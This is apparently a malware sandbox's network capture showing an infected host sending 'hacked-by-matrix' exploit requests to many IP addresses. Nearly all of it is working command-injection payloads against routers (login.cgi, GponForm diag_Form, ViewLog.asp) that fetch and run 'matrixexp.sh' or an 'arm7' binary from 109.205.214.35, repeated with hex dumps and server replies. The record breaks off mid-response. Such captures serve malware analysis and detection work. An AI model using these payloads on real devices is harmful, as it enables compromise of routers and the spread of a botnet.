Mar 21, 2024 05:22:47.570530891 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:47.824027061 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:22:47 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 b975fe7c5ea4d03e3d0250a217f79d38.cloudfront.net (CloudFront) X-Amz-Cf-Pop: KIX56-C1 X-Amz-Cf-Id: voZiyThbkxT-yZpk1oNr4OktDsaXPa7DGbtKVtGYoO_nsiRHHPi_vQ== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 76 6f 5a 69 79 54 68 62 6b 78 54 2d 79 5a 70 6b 31 6f 4e 72 34 4f 6b 74 44 73 61 58 50 61 37 44 47 62 74 4b 56 74 47 59 6f 4f 5f 6e 73 69 52 48 48 50 69 5f 76 51 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: voZiyThbkxT-yZpk1oNr4OktDsaXPa7DGbtKVtGYoO_nsiRHHPi_vQ==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.13	34800	118.48.34.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.616646051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.13	57248	5.71.9.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.616669893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.13	37888	109.25.122.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.616674900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.13	53576	118.149.213.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.616684914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.13	60414	5.168.206.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.616722107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.13	50038	109.40.235.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.616727114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.13	35966	118.110.48.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.616745949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.13	34654	118.129.234.151	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.616772890 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:48.004280090 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:48.943315029 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:50.796319008 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:54.641760111 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:02.060247898 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:16.912262917 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:47.116209984 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.13	35334	212.21.136.65	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.705372095 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:47.908256054 CET	88	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Transfer-Encoding: chunked
Mar 21, 2024 05:22:47.908272028 CET	260	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 31 32 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 41 32 0d 0a 54 68 65 Data Ascii: Keep-Alive: timeout=20Content-Type: text/html12<h1>Not Found</h1>A2The requested URL /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ was not found on this server.

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.13	35302	212.21.136.65	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.894771099 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:48.975308895 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:49.178000927 CET	88	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Transfer-Encoding: chunked
Mar 21, 2024 05:22:49.178071976 CET	260	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 31 32 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 41 32 0d 0a 54 68 65 Data Ascii: Keep-Alive: timeout=20Content-Type: text/html12<h1>Not Found</h1>A2The requested URL /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ was not found on this server.
Mar 21, 2024 05:22:50.521708965 CET	260	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 31 32 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 41 32 0d 0a 54 68 65 Data Ascii: Keep-Alive: timeout=20Content-Type: text/html12<h1>Not Found</h1>A2The requested URL /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ was not found on this server.
Mar 21, 2024 05:22:52.522128105 CET	336	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Transfer-Encoding: chunked Keep-Alive: timeout=20 Content-Type: text/html Data Raw: 31 32 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 41 32 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6c 6f 67 69 6e 2e 63 67 69 3f 63 6c 69 3d 61 61 25 32 30 61 61 25 32 37 3b 77 67 65 74 25 32 30 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 25 32 30 2d 4f 25 32 30 2d 25 33 45 25 32 30 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 25 32 30 2f 74 6d 70 2f 6d 61 74 72 69 78 25 32 37 24 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 12<h1>Not Found</h1>A2The requested URL /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ was not found on this server.0
Mar 21, 2024 05:22:56.441309929 CET	336	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Transfer-Encoding: chunked Keep-Alive: timeout=20 Content-Type: text/html Data Raw: 31 32 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 41 32 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6c 6f 67 69 6e 2e 63 67 69 3f 63 6c 69 3d 61 61 25 32 30 61 61 25 32 37 3b 77 67 65 74 25 32 30 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 25 32 30 2d 4f 25 32 30 2d 25 33 45 25 32 30 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 25 32 30 2f 74 6d 70 2f 6d 61 74 72 69 78 25 32 37 24 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 12<h1>Not Found</h1>A2The requested URL /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ was not found on this server.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.13	37906	212.76.103.232	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.051440954 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.13	48164	86.104.253.142	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.176002979 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:49.040637970 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:50.028306007 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:50.190402985 CET	410	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 21 Mar 2024 04:22:50 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Keep-Alive: timeout=10 Location: https://www.nigorine.com/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved 